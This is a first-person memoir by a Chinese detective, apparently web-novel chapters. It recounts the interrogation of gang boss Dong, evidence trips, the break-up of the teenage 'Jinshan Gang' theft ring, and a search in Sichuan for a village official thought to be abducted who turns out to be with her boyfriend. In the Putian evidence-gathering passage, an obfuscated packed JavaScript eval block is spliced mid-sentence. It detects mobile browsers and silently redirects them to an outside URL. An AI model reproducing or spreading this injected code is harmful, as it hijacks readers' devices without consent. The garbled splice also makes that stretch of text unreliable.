几个“当家”的经过研究，制定了一套审讯方案，我们集中人员，开始对徐某平、程某华进行针对性的审讯，整个审讯过程，我们采取了车轮战的方式，这么多年工作，这是我第一次有机会采取人海战术开展审讯工作，之前都是嫌疑人比警察人多。这次我们有一个月的时间开展审讯及取证工作。 我们所有人员分成两组，一组去取证，一组开展审讯。那个时代，审讯很重要，特别是此类案件，很多细节都是靠笔录体现的。 我们将嫌疑人从看守所借出，放到我们单独的审讯室里，审讯组的两人一组，分成了四组，轮班制，每组四个小时。犯罪嫌疑人程某华用了两天时间就交代全部犯罪经过。犯罪嫌疑人徐某平用了三天时间。 我们停了一天休整，整理了所有的证据材料。整个犯罪团伙仅剩董某华一人口供没有突破。他是核心人物，只有他才能将所有的案件关联起来，现在该发起总攻了。 我们八个人开始了艰苦的审讯工作，作为老大董某华，自持练武出身，身体强壮，加上多次被打击处理，对抗意识非常强。对待犯罪嫌疑人，既不能打，又不能骂，仅凭七寸不烂之舌，将人拿下可不轻松，审讯工作，攻心为上。一开始我们就跟他聊家常，根本不提案件的事情，但是聊什么，清晰的记录下来，寻找他的破绽，每天烟管够，看守所内可不让抽烟，好吃好喝供着，就是没有酒，在封闭的环境中，这就样不痛不痒的一群人跟他聊了五天，第六天，我交班的时候，发现他头上包了纱布，询问得知，上午的时候，他上厕所时，突然拿脑袋撞墙，那个时候厕所的墙没有用软质材料包住，被他发现了，估计他蓄谋很久了，在封闭环境中过了六天，整个人崩溃了，选择自残，最后送到医院缝了八针。没大事，他身体素质好。经过此事以后，我们决定开始讯问案件。 经审讯，一个真实版古惑仔的故事呈现在我的面前，董某华之前都是小混混小打小闹，不成气候，后来纠集几个人在洋埭村开设赌场，因为同一个区域还有另一伙人也开设赌场，那伙人也是黑恶团伙，在董某华之后第二年也整个端了。赌客是只有那么多，场子一多，势必影响生意，于是两伙人就因此事结怨，互相攻击对方，多次发生斗殴。一次，董某华摸清对方赌场位置，后带领徐某平、程某华等人手持猎枪，砍刀，铁棍等器械，冲进对方的赌场里，董某华亲自持枪射击，枪声一响，对方迅速溃逃。经过此役，董某华一战成名，从此奠基了江湖地位，我们称之为标志性事件，通过此次事件，基本宣告，涉黑团伙已经成形，后来那片区域几个村的赌场就被他垄断了几年，有钱赚，手下也越来越多，逐步形成气候。再后来，他又盯上了客运线路，通过的暴力手段威胁，制造多起的打砸及故意伤害案件，逼迫线路运营将股份让给他，于是成功接手并垄断了前往江西方向的客运线路运营。他没能继续做大做强，就被我们发现，及时打掉了。 审讯进行到第七天，我们开始制作完整的讯问笔录，他的这次审讯笔录，总共有36页，这是我第一次见到这么长的笔录，内容近两万字。包含了几十起案件的经过。 当晚，阶段性胜利，为了庆功，大当家的组织我们十几个人吃饭喝酒，吃完饭去唱歌，在KTV包厢，我们玩了一会，还没唱一首歌，大当家就叫我们一起到了一家当时本地有名的豪华酒吧内，酒吧的名字叫万国会，生意一直火爆，后来因为老板非法集资跑路，酒吧关停了。酒吧很闹腾，大厅灯光昏暗，整体的背景以黑色为主色调，配上五颜六色的灯光，还有各种探灯，旋转彩灯，现场音乐震耳欲聋，大厅中间是几个小舞台，定时有人去跳舞，很摇摆扭腰的那种，姿势套路都一样，看着视觉疲劳。大厅人头攒动，所有的卡座几乎都有人在，服务生来回穿梭，给卡座送酒水。我们直接在去了VIP包厢，整个酒吧就两间VIP，平时很难订，后来经介绍才知道是酒吧其中一个老板请我们，包厢的隔音很好，关上门，外面的重金属音乐完全被隔绝，包厢里非常的案件，只有我们的说话声音，如同到了另一个世界，应该是花重金装修的。 那天晚上，我没有喝酒，“大当家”特批的，但是当晚我负责开车，开着一辆丰田海狮面包车，拉着整个专案组的兄弟们，散场以后，挨个送每个人回家，然后开车回单位还车，换我自己的私家车回家，我到家时已经是凌晨4点。我已经半个月没有回家了。 第一轮审讯结束后，为了扩大战果，固定证据，完成整个定罪诉讼，我们开始了取证历程，很多案件都是历史沉案，必须去翻找各类案件档案记录。还有很多受害人，当事人，目击者，要一一查找。他们来自全国各地，很多人早已离开晋江。我们开始兵分多路，到各个派出所找历史的案件档案，我印象中，当时鞋都所办案队不知道出于什么原因，刚开始不太配合，不愿意把卷宗拿出来，最后通过领导协调，才把原始卷宗找出来移交给专案组。整个团伙案件，涉及四个派出所，我们一个个去跑。 我们十几个人重新分成若干个组，一组人直接去了江西，调取证据，寻找被害人取证。一组人去了浙江，也是找人取证。一组人留在本地整理案卷，一组人在当地取证，寻找案件关联的人员，固定证据链。我则被派到湖北，带队去追捕漏网之鱼。 我去了湖北的大悟县，这个县属孝感市，地处湖北省东北部，与河南交界，背靠大别山，是著名的革命老区，鄂豫皖革命根据地的核心地带，是个将军县，建有革命纪念馆，□□、董必武、□□、徐向前等党和国家领导人都曾在大悟县留下过战斗痕迹。 我带着从基层中队抽调的小周，先飞到武汉，在武汉停留了一天，之后搭乘大巴去了孝感，再转车到了大悟县，在当地公安机关的配合下，很快将一名小喽啰抓获归案。 我印象最深刻的是，去当地县城派出所，要经过一条漫水桥。任务完成后，那个时候大悟没有火车站，好像现在也没有。当地开车送我们到了广水火车站，从广水上车前往南昌站，再从南昌站转车回福建。广水和大悟都跟河南的信阳交界。原计划那天上午9时，从广水火车站上车，搭乘从包头开往南昌的列车，14时抵达南昌，再搭乘17时南昌的车回福建泉州。谁知那趟车晚点了近6个小时，我们完美错过了去泉州的车。 那天我们押着嫌疑人，在火车站候车室焦急的等待，车站工作人员告诉我们，列车晚点，具体时间待定。天气闷热，天气预报显示有雨。 广水车站，很旧很旧，外观有些年头了。没有空调，闷热的天气让我全身汗湿。后来有部电影《人在囧途》，有一头镜头就是在广水火车站拍的。看到这一段我就想笑，广水火车站给我留下的印象就是很囧。 在火车站焦急的等待了近6个小时候，我们终于上了包头开来的那趟列车。红皮的外观，硬座车上人很少，我们搭乘的那节车厢，只有我们三个乘客。沿途也没有几个人上车，火车开出车站不久，天就开始下雨，一路下到南昌。抵达南昌时已经是晚上19时许。南昌此刻天晴，我们将嫌疑人带至南昌站的警务室，警务室有一个专门临时羁押人员的场地，但是需要我们自己看守。我们就一个人看守，一个人出去购票买晚餐，晚餐吃的是肯德基全家桶。经与南昌铁路警方聊天得知，近期一直下暴雨，有一段铁路被山洪冲毁，正在抢修，所以导致大量的列车晚点。我们到泉州东的那趟车已经发车走了，不过，重庆北到厦门的那趟车晚点，南昌铁路警方建议我们上那趟车回福建，于是我们就上了那趟车，确实是缘分，在车上补了卧铺，第二天上午到厦门。联系了专案组的车过来接站，之后将人移交其他人处理，我则回家休息一天。 回到专案组后，此时的专案组开始了正常的值班制，按照工作制度是每三天值一个晚班，工作趋于常态化了。值班对外是打黑办，有事情由当天值班的人负责先行处置，主要是处理涉黑涉恶案件或警情线索。属于日常的警务值班备勤。作为局应急警力的一部分。日常的工作就是围绕犯罪嫌疑人董某华这个团伙的案件开展。 经过前期的各项取证工作，我们现在是统计扫尾阶段。经过多方联系，找到一名被故意伤害的当事人，被董某华殴打后并威胁后，逃离晋江，藏身在莆田，由于此案董某华并没有交代清楚。详细的取证工作，交由我们完成。我们联系好法医小陈，开一辆老款捷达车，前往莆田市区。寻找案件的被害人。 我们在一家租房内找到了被害人，被害人之前在晋江是经营美发店。他向我们讲述了自己的经历，董某华性格暴躁，在被害人经营的美发店，理发时，因拒绝付钱，与被害人发生争执，董某华认为受到轻视，地位被挑衅，于是带着徐某平、程某华将被害人的店铺砸了，并殴打被害人，导致被害人受伤住院，被害人报警后，董某华仍然没有放过被害人，继续恐吓威胁，被害人害怕报复，被迫逃离晋江，躲到了莆田，换掉了手机号码，导致案件不能正常办理下去。我们知道此案，多方研判通过关系人寻找才找到被害人，通过电话联系，当被害人得知董某华被抓的消息，这才同意配合取证，但是不愿意到晋江，我们只好赶到莆田进行取证， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868809|158734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法医现场对被害人受伤情况进行了鉴定，法医学伤害程度为轻伤。 我现场做了询问笔录和辨认笔录，确认参与殴打和打砸人员的身份，然后我们开车返回，回来的路上恰逢台风要来，一路风大雨大，艰难的开回单位，整个人累趴了，困得不行。 那段时间都是在做董某华案的调查取证工作，如果晚上不值班，就会在几位当家的带领下，四处应酬，当时城区的夜场几乎都走了一遍。 苏格兰酒吧 有一天晚上值班，还剩一名知情女子的证据没有获取，之前派出所一直与她联系，她都以各种理由推辞，后来经查发现其在苏格兰酒吧上班，从事陪侍服务，晚上我和“三当家”的就开车到了酒吧，到了包厢里，佯装消费，叫了一箱啤酒，并开了一瓶啤酒，“三当家的”还真就喝了起来，服务员一直过来推荐叫人过来陪侍，我们就指名道姓叫过来那名知情女子，来之后，喝了几杯啤酒，就开始聊天，确认女子身份后，我们叫来酒吧经理，出示证件，要求女子跟我们回去询问并配合取证，酒吧经理还以为女子涉嫌什么犯罪，吓得不轻。加上“三当家的”肌肉发达的身材和长相，非常具有震慑力，经理当场就答应给女子放假，让其跟我们回办公室完成取证，包厢桌上已经开的三瓶啤酒，算是经理请客，由经理买单。 我们就将女子带回办案区，详细做了笔录，她也是董某华的老乡，董某华最初在老乡中立威，都是拿自己老乡开刀，属于欺横乡里，老乡们都惧怕他。因为老乡大多聚在一片居住，董某华有两次殴打老乡的时候，她正好在现场目击，为了逃避打击，董某华在实施犯罪后，还四处恐吓被害人及知情人，女子有亲属被董某华恐吓过，一直不敢配合警方取证。取证完成后，按照之前约定，我们开车将她送回住处。 意外收到交警罚单 取证还在继续，我们开车前往万通车站调取垄断客运线路车站的相关证据，我们将车停到路边，前往客运线路运营商租的办公室，拿所有的当事司机的通讯资料，用于逐一核对案件。我们出门的时候，发现我们开去的车被贴了一张罚单，这是我们专案组成立以来第一张罚单。 我们没有理会罚单的事情，继续去取证，找到了几个大巴车司机，大部分都在江西，有些已经不跑这条路线，经过刚好有大巴司机在车站，于是我们在车站办公室里制作取证笔录。之后忘了罚单这事，也没有跟交警打招呼处理这个事。过了半个月，车子要年检，发现有违章要处理，查用车记录，那天正好是我去开的，于是我自己老老实实去交了罚款。这是我对专案组真实的记忆。 不久，安平市人民检察院依法对董某华犯罪团伙所有成员批准逮捕。这起案件正式转入诉讼阶段。除了深挖案件，还广泛征集案件线索，不断补充证据，加强证据链的收集。 同时，作为打黑专案组，还对全市可能涉黑的案件进行整理分析，从中发现摸排案件线索。深沪刑侦中队发来案件线索，抓获两名盗窃嫌疑人，身上有料，大当家的指派我和老许、小洪前往处理。 二、金山帮覆灭记 深沪镇，位于于安平市东南部。市区开车到深沪，最快需要40分钟，通常要一个小时。三面临海，一面依山，地理位置独特；山清水秀，风光旖旎，素有“峙海金狮”之美称。 百度资料：深沪镇面积33.46平方公里 ，辖19个行政村（居）。户籍人口4.8万，海外侨胞4万多人，外来人口4.2万多人。名胜古迹有古深沪对外联系通道“壁山栈道”，旧石器时代人类活动遗址“颜厝庵山沙丘遗址”，明代抗击倭寇的“烟敦山烽火台”，台湾同胞祭祖圣地“宝泉庵”，国家级海洋自然保护区“海底古森林遗址”，联合国非物质文化遗产传承人陈芳财“水密隔舱福船制造技艺”。 我对深沪镇最深的印象是好吃的小吃特别多，海蛎煎、拳头母、鱼羹、都是美味。每次去深沪，我都会抽空去镇区菜市场吃一家老字号的海蛎煎和鱼羹。虽然那家卫生条件很差。深沪个深水港，有渔港和大型码头。有很多远洋渔船，渔民世代去钓鱼岛海域捕鱼，被日本海上保安厅强行抓的詹志雄船长就是深沪人，后来在互联网上还有深沪的渔船直接冲撞日本海上保安厅的船。所以海洋捕捞业发达，海鲜特别多，也很好吃，有时，我们会特意从市区开车去深沪镇吃海鲜。 深沪镇经济发达，民营企业很多，主要以服装轻工为主，我知道的就有两家上市公司，还是著名的泳装生产基地。因为地处沿海，有边防派出所和内陆派出所，刑侦中队就驻扎在内陆派出所。深沪刑侦中队是全市最小的中队，当时仅有三个民警，好在深沪镇虽大，但是案件很少，且有两个派出所。 我们到了派出所，听中队长介绍完案情。我们拿来两名小偷的审讯笔录，开始研究。 两名小偷，年龄都不大，刚满18岁，据一名小偷交代，他是“金山帮”成员，他是根据“金山帮”老大下达的“创收任务”出来偷的。被抓之前已经作案十几起。 我和老许开始提审其中一名嫌疑人，嫌疑人虽然年纪很小，但是一副混江湖的样子，样子很稚嫩，看上去很好笑。不过嫌疑人倒是很爽快，愉快的交待了这个案件情况，还有金山帮的情况，经过两个小时的耐心讯问，基本摸清了“金山帮”的大致情况。 “金山帮”帮主系有前科人员，后经查实，还是网上在逃人员，年纪并不大。他通过在网吧、溜冰场等处物色并收罗了几名青少年，有些是离家出走的流浪少年，先进来的年纪大一点的就封副帮主，然后组建“金山帮”。通过现有成年在网上招募朋友来参与的方式发展帮会会员。这个“金山帮”帮主，在金井镇某村租了一栋民宅，作为窝点。整个“金山帮”所有成员，均居住在那里，由“帮主”夫人统一安排食宿。刚开始的时候，有新人来，帮主会免费提供食宿，还是有酒有肉，附带上网娱乐，吸引大家入伙。等正式加入了“金山帮”，作为帮会的成员，为了服务金山帮，就要出去搞钱，为帮会服务，不管是偷还是抢，只要天气允许，就每天都必须出去，出去后要带钱回来，要么带赃物回来，否则会被帮主执行帮规，轻则没饭吃，重则挨打。 据嫌疑人交代，整个帮会成员分两级，帮主及帮主夫人，副帮主，剩下的全是普通成员。帮主给这些成员布置了每天的具体搞钱任务，而且必须要完成。刚开始加入的时候，有成员由于没完成任务，选择了逃跑，也没跑哪里去，结果被帮主抓回来，当着所有成员的面，一顿暴打。剩下的成员，产生了恐惧的心里，惧怕帮主，加上帮主恩威并施，剩下的成员都不敢跑。有时帮主还提供毒品给这些成员吸食。这些成员，受制于威慑，就出门盗窃摩托车，自行车，入室盗窃、顺手牵羊，有啥偷啥，几乎什么都偷；也有部分成员骑摩托车出去抢夺抢劫作案，而交通工具摩托车则由帮主提供。为了让大家进入角色，增强技能，帮主还亲自教授新入帮的成员入室盗窃、盗窃摩托车的技能。而成员之间也在相互学习，每天交流技能和心得。 除非下雨等天气不好，基本上帮主每天都安排这些成员外出作案，按照帮规，所得赃物都必须先交给帮主处理，帮主再根据其收成，发奖励给成员，剩下的充作帮中经费，由帮主亲自管理。两名嫌疑人就是出来偷摩托车，因技艺不精，被群众发现，并被当场抓获。 根据嫌疑人提供的信息，我们核查了一下近期的案件，发现的确出现了抢劫、抢夺案件，对应的盗窃案件也有几起。 这个是专业的犯罪团伙构成，足以构成黑恶势力，但是发展是初级阶段，层级只有两级，尚不构成□□组织标准。不过只要是我们发现了，绝不会坐等他发展壮大。 根据前期掌握的线索，我们回到专案组，向几位“当家的”汇报情况，将我们做的笔录也带了回去。根据已经抓获的犯罪嫌疑人提供的信息，我们开始了信息侦控研判，两名嫌疑人收押后，为了不打草惊蛇，我们并没有急于前去“金山帮”窝点查探。而是通过技术手段，开始分析金山帮组织成员情况。 经过了一段时间的侦查，由大队牵头、金井中队、金井所、特警组成专案组，对“金山帮”所有成员展开抓捕行动，在金山帮的窝点内，抓获犯罪嫌疑人7名。审讯审查完以后，全部办理刑事拘留，因为人员较多，最后案件交由金井中队、深沪中队合署办理。 金山帮就此覆灭。好在发现及时，打击及时，还没形成气候，就将其消灭的萌芽状态。这个团伙手段非常恶劣，人数虽少，但是社会危害性极大，完全是反社会的，其危害程度甚至超过我们打击过的□□组织，如果发展壮大，后果不堪设想。 处理完金山帮的案子。我们继续针对董某华的案件，进行取证调查，一组人已经去了江西景德镇犯罪嫌疑人董某华的老家，做相关取证工作，特别是针对大巴车司机的取证。我当时在鞋都有个安徽籍的线人，后来知道他是安徽某帮派的，之后因涉黑被打击处理。线人也是被董某华暴力攻击的一方，我将其叫来取证，找到部分当事人。 犯罪嫌疑人董某华一直办理得很顺利。大部分取证完成以后，我留下来整理卷宗。用了两天时间整理，因为新的案件办理系统，需要扫描存档，我将这些卷宗使用快速扫描仪，逐页进行扫描，但是每次最多能存十页，扫描工作，我用了整整一天时间。扫描完最后装订成册，打上页码。共七本卷宗，将近2000页，打页码就打了一个晚上。这是我第一次整理这么厚的卷宗，也是最后一次。此后，我办理过一起电信诈骗案件，卷宗也接近这个厚度。 整理好以后，整个卷宗移交检察院审查起诉。此案告一段落，领导则召我回鞋都中队。我短暂的打黑扫恶生涯结束。 24.第 24 章 对于刑警来说，破案无数，并不会有什么特别的，职责所在而已。但是对于被害人来说，特别是被害人家属，如果案件破了，他们的心态完全不一样。特别是拐卖一类的案件。 有同事跟我说过，如果是命案，家属可能伤心几年，可能就接受这个事实，然后每年凭吊祭奠，至少知道在哪里。但是如果是拐卖案，特别是小孩子被拐，生死未卜，家人每一天都在牵挂，这种伤心那是一辈子的，这种伤痛常人难以理解。我真切的看过亲属那伤心欲绝的眼神，那种绝望，加上他们期待我们给他们希望的眼神，我一辈子没办法忘记，看到那种眼神，让我觉得肩上的使命是如此的沉重。打拐就必须将孩子找回来，才算成功。得益于高效的科技手段，特别是DNA成本降低和技术的普及，我们可以帮助很多父母或亲属找回因走失或者被拐卖而失散的儿女，得以亲人团聚。我就经手过几起这样的案子，但是都是亲人失散十几年甚至二十几年，通过认真工作，比对中DNA，才得以相聚，长时间的忍受人间伤痛，确实不易。所以我对采集此类人员的DNA工作特被仔细认真。但是这些工作都太晚，如果能够在最短时间内破案找回失散人员，那才叫功德无量。 晋江公安局对打拐工作非常重视，曾打掉多个拐卖儿童的犯罪团伙，解救了数十名被拐儿童，其中有一些，未能找到父母，一直寄养在福利院，为此，公安局组成了特殊的妈妈团，定期去福利院，这成了传统。 曾经有一部电影，叫《亲爱的》，讲述的是被拐儿童的父母寻找孩子的故事，让人心痛；刘德华也拍过一部这样类型的电影，据说拍得很好，评分很高，但是我没敢看，我最不愿意看的就是这种电影，那种伤痛我能体会，因为看完我会非常难受，一旦知道是这种电影，我就不愿意再看了，这可能是我内心脆弱的那一部分。 2012年是个特别的年份，2011年曾经有部电影《2012》，讲的是世界末日的故事，内容就是新版诺亚方舟，震撼了世人，票房大卖。因此还有一阵末日经济热潮。在那一年，各种末日预言满世界飞，但信徒们到最后一天都没能等到预言中的末日。也是在那一年，我几乎成了中队的应急队员，疲于奔命，飞到祖国的各个偏僻角落，执行各种疑难险重的任务。那一年，有时我开始感到彷徨，不知道为什么而坚持，甚至失去了前行的方向。同样在那一年，我深刻理解了刑警的使命，枯燥无味的工作不再让我迷茫，我看到了人民真切的希望，在我竭尽全力的时候，还能咬牙坚持。夜深人静，孤独感袭来的时候，还能坚守。我深知，我的每一次的努力，都能给人们带来希望的曙光。群众的期待就是我源源不断的动力。 一、远山的灯火 2012年我办理完那起“保险柜800万”的案件，从重庆回来。中队长给我派了一个新的任务。中队长拿给我一个文件，是一个东南省委政法委转来的领导批示件。东南省组织部，招募的一名大学生村官，在鞋都镇工作期间失踪了。要求公安机关查明实情，将人找回来。 那名大学生村官，林某（化名），时年26岁，晋江磁灶人。按理说这么大一个人，没可能被人拐走吧。于是我找来林某的手机号码，开始了研判工作。 去移动公司调取了林某的话单，拿回来的话单，很快让我看出了端倪。 话单显示，林某的手机在两天前还有通话数据，而且电话是主动打出去的，明显不像是被拐，我找来林某工作单位的领导，碰巧他老庄领导我当社区民警时就认识，那个时候，他负责我们这片几个行政村的村务及下村工作。老庄跟我反映称，林某工作一直很不错，但是作为女孩子，长得不好看，特别是一脸的痘痘，所以不自信，年纪也不小，我们一直很操心她的个人问题。不过几个月前，林某曾有一段时间旷工没来上班，经跟其父亲联系，她打来电话，请假，并且办理请假手续，一段时间后又回来上班。这次是情况比较特殊，她突然没来上班，快一个月了，招呼也没打一个，打电话问家里，她家里也不清楚这个情况。老庄后来打通林某电话，问林某在哪里，林某不肯说，只要求老庄不要告诉我林某父亲。但是事关重大，只好联系林某父亲，林某父亲很生气，说林某别人拐去卖了，要求报警。 拐卖妇女的案件，在99年以前非常多，在全国公安机关高压打击下，00年以后案件就很少见了。2010年以后，在晋江已经绝迹了。这个时候来一起拐卖妇女案件，那还了得。不过老庄做事比较稳，情况不明了之前，没有选择报警，而是报告领导，之后鞋都镇政府现将情况逐级上报，最终惊动省委领导。于是经过层层转交办理，一堆的领导签字批示后，这个事最后落到我的头上。 我继续问老庄，林某有没有结交男朋友，或者说有没有跟谁联系密切一下，老庄说不太清楚，不过，林某第一次旷工，因为跟家里吵架，经劝说后回来单位上班，状态比以前很好，以前的那种不自信，一扫而飞，通过老庄的多年经验分析，应该是谈恋爱了。不过具体详情，老庄并不了解。 我仔细分析了通话数据，找到一名与林某关系密切的男子，男子王某（化名），四川人，时年40岁，落户在石狮。从王某的数据分析情况看，王某20岁就到石狮，之后就一直在这里没有离开过，直到十年前落户石狮，很重要的一点，王某单身。林某王某单从通话数据看，绝对是恋人关系。 我找到林某父亲，林某父亲告诉我，林某跟王某之前确实在谈恋爱，但是两人年轻相差太大，林某父亲不同意，担心王某是骗林某的，王某还到林某家里，最后被赶出来。之后，林某旷工瞒着家里，私自跑去找王某。最后被发现，劝林某回来上班。林某父亲一口咬定就是这个王某将林某拐走了，现在失踪了，可能被已经卖了。要求警方把人找回来。 分析到这里，我满脑袋都是问号，这是什么情况。案情重大，因为林某手机已经关机，而且成年人出门正经工作不做，也不跟家里联系，这是很反常的，再加上，诸多领导批示指示，我也是谨慎起见。为了能够早日将案情查清，将人找回来，重大案件，由重案队派民警来协助我，于是派小杨过来协助我。小杨是泉州人，长得白白净净的，之前我们曾一起前往四川眉山追捕命案逃犯。所以还是比较熟悉的。 在他协助下，我拿到了王某的手机通讯数据。经过分析，发现王某已经回到了四川老家剑阁县，而林某手机最后的关机位置也在剑阁县。 汇报领导后，事不宜迟，领导要求我立即启程前往四川，不管是什么，必须将人找回来。 经查询，当晚就有飞成都的航班，我们立即购买了机票，为了方便工作，鞋都镇政府方面当时指派老庄也配合我们一起过去，而林某父亲跟老庄一同前往。我立即收拾好行李，整理好手上的资料，叫上小杨，几路人马赶往机场汇合。不过当晚的飞机晚点，原计划晚十一时抵达成都双流机场的航班，到了凌晨2时才抵达。我们搭乘大巴达到市区，临时住在大巴停车点附近的一家酒店。第二天一早，我们找到最近的神州租车网点，租了一辆三厢别克英朗自动档小车。四个人出发前往剑阁县。 剑阁县隶属四川省广元市，位置在四川北部边缘，四川盆地的最北边，四川、陕西、甘肃三省交汇处。在三国时期，非常著名的剑门关，就在剑阁县境内，“剑阁峥嵘而崔嵬，一夫当关，万夫莫开”，讲的就是剑门关。剑阁县，有“川北金三角”、“蜀道明珠”之称。剑门关地势险要，当年刘备占据此地后，才能稳稳的获取汉中。数据显示，剑阁县面积3200多平方公里，人口仅66万人，典型的地广人稀，而且以大山为主。到了以后才知道，高山峡谷，真正的山势险峻。剑门关周边的山就是天然的围墙，不过这个围墙高几百米到上千米不等。让人惊叹大自然的鬼斧神工。 刚开始，我从地图上看，成都到剑阁不到三百公里，而且全程高速，计划我们上午9时出发，12时之前应该能到剑阁县。出乎我们意料的是，到了15时我们才抵达剑阁县公安局。虽说一路上都是高速，但是路况较为艰难，我们租的车，别克英朗，动力极弱，还是自动挡，在山区行车简直就是噩梦，动力差，加上我们四个成年男性压车，车子根本跑不动，起步慢，加速肉，超车几乎不能实现，都是被别人超，只能油门踩到底干着急，加上路况不熟悉，一路的桥梁隧道很多限速60公里，没办法开快。于是我们开了6个小时才抵达剑阁县。 剑阁县县城建设得非常好，接到整洁，而且道路宽敞，设计合理，完全颠覆了我对山区的印象。按照导航，我找到剑阁县公安局，县公安局的办公楼是一栋新建的楼，刑侦大队县局院子的一栋附楼内。经过跟刑侦大队联系工作，当地刑侦大队确认，我要找的人在普安镇，是老县城所在地。 原来剑阁县以前的县城所在地在普安镇，2003年整个县城机关都搬迁到下寺镇新县城。所以我看到的楼都是新的，路也修得不错。都是下寺镇定位开发区后，重新设计的，县城整体搬过来后，建设得非常好。 为了不耽误工作，我们又开车从下寺到普安镇，三十多公里山路。出发前，当地已经帮我们联系好了普安镇派出所的所长，由派出所协助我们开展工作。普安镇就是一个典型的山区，得益于原县城所在地，长期经营建设，政府虽然搬走了，但是人口还有很多，镇子看上去也很繁华。基础设施比较齐全。宾馆酒店就有好多家，档次还可以的，还有星级酒店，如果是一般的山区小镇，是不可能有的。之前我去浙江省乐清县一个经济发达的地方，当地的镇子就没好酒店。 我们联系派出所所长，找到派出所后，派出所长派民警协助我开展工作，派出所人很少，不过对情况很熟悉，我讲述了我要找的对象情况后，民警马上就问村干部，村干部答应前去查看情况。天色越来越晚，我让老庄去旁边酒店开好房间等我们。我和小杨则留在派出所焦急的等待。当天的晚霞很美，将大地都染成了土黄色，而我在派出所二楼办公室徘徊，偶尔盯着窗外查看，非常有特殊的四川山区县城，只不过有些萧条，很多房屋依山而建，楼层不高，砖木结构房子占多数，大部分红砖房，青瓦的屋顶。 时间一分一秒过去。日落前，村干部打来电话，看到村口有一辆银色的福建牌照的车子，应该是王某开回来的。村干部不确定有没有女子一起过来，也没看到王某人。那辆车成了关键，如果是，那就对了，我们没能查到两人的轨迹，只能是开车或者搭乘长途大巴，这一路是2800公里，真是佩服。我要求将车牌号发过来，我要查询一下，车是一台厦门牌的现代伊兰特轿车，登记车主为某租赁公司。而王某此前和林某都曾在厦门活动过很久，最后离开福建前也是在厦门。这样我就基本肯定了，车子是王某开回来的，都不用打电话去查租赁公司了。 天色渐晚，趁着天黑掩护，我打算去查看一下情况，当地民警就开车带我们去那个村子。那个村子离普安镇大约10余公里，一路上都是崎岖的山路，落差非常大，我们开车半个小时才到。水泥路尽头，又走了一段泥土路，泥土路上又两道车辙印，中间已经长满了野草。 泥土路只能开到一个空地处，然后就没有车能走的路了，在停车处，我看到了那辆银色的厦门牌的伊兰特轿车。村干部在等我们，他骑着摩托车过来的。我们一同弃车步行，走了大约半个小时，翻过一座山，走到另一个山腰。来到一处房屋后面，这是一栋土砖做的房子，坐北朝南，屋顶上盖着青瓦，我原以为会是草屋顶，此时房子里亮着灯光，并不是很亮的灯光，但是在山区这一盏昏暗的灯，可以照得很远。 当地人的房屋除了镇子里，会相对集中。而在农村，山里面，大家因地而建，大多离自己开垦的地比较近位置建造房屋，因此居住非常分散；再因为地理环境的实际问题，找到一块合适的地块建房，并不是一件很容易的事情，大多人的房屋依山而建，而建材大多就地取材或者靠人力从崎岖的山路肩挑人扛的方式送过来。房屋面积不大，都很简陋。 这次我看到的房屋，就是如此，整栋房子就三间房，一家人都挤在这里，还是泥土砖做的墙体。据领路的村干部介绍，这就是王某的老家。虽然是泥土砖做的简易的房屋，但是门口还是有块空地，我们走路绕到了门口，能听到房间有人在说话，有男，有女。我们进去一看，林某就坐在床上，所谓的床，有点类似北方的炕，用土砖砌成的，一个大通铺，靠着一面墙，墙面糊着报纸。 我们的到来，让林某很惊讶。我们将王某控制，用手铐铐住，然后押回派出所。当时老庄开着我们租的车和林某一起，一直跟在我们后面。将林某从房子里带出来后，老庄和林某的父亲拉着，跟我们一起走路出去。我们走到了停车的地点，然后开车返回普安镇派出所。 当时派出所办案区还在装修，只能借用他们的办公室，于是将林某放在一间办公室，由林某父亲和老庄去打包晚餐。我和小杨先是仔细询问了林某相关情况，据林某自述，她和王某是男女朋友，两人确定恋爱关系已经一年多了，刚认识的时候，王某在石狮，后来去了厦门，王某对她非常好，原计划都谈婚论嫁了，林某领着王某去见家长，因为年龄相差十几岁，全家人都反对，认为太丢脸，林某父亲还将王某打出了家门。林某因此事跟家里闹翻了。后来，王某去了厦门，林某就跟去了厦门。这次他们两人从厦门租车，一路边走边玩，用了一个星期开到这里，说是见王某的父母亲和家人们。林某在王某家已经住了几天了。王某家人对林某很好，她在这里很开心。并没有被拐的情况，也没有被非法拘禁等侵害人身的行为。从林某的话语间，我们感觉到林某王某两人目前感情很好，而且林某认定了王某。林某的人身自由完全没有被控制，也没有与外界中断联系，只是不愿意跟家里联系而已。 与林某谈了四十分钟，我感觉压力好大，有种棒打鸳鸯的帮凶的既视感。但是我接到的任务是查清事实，同时将林某安全带回晋江。如果有发现有犯罪情形，及时处置。吃过盒饭，安排老庄和林某父亲带着林某回酒店，让老庄和林某好好聊聊，做做思想工作。请当地派出所的同志跟我们一起去将林某的行李拿过来。结果我们还没去，村干部倒是赶过来了，并且让人带来了行李。村干部说，村里人都知道，王某从外面带了一个媳妇回来看望家人，为什么突然被公安机关带走，来问个说法。我请所长帮我做工作，告诉村干部，只是调查，会给一个说话，请耐心等候。 我们开始抓紧时间讯问王某。第一眼看到王某，印象就不好，头发梳得光亮，穿着一件花衬衫，棕色裤子，黄色的皮鞋，年纪看上去四十多岁，明显的闽南口音，完全看不出来是四川人，而且一张嘴就是各种油腔滑调。但是总的来说，王某的说法跟林某差不多一致，王某在石狮一直务工，后来自己创业做一点小生意，和林某在公交车上结实，两个人特别谈得来。互留联系方式，后来发展成为恋人关系，两人都非常珍惜对方，但是林某的父亲并不同意两人关系，多次发生冲突。林某两次被林某父亲找到并带回去。这次来四川，也是一路游玩过来的，很开心。在整个过程中，我并没有发现有涉嫌什么拐卖犯罪之类的情节，连侵犯人身权利的都没有。 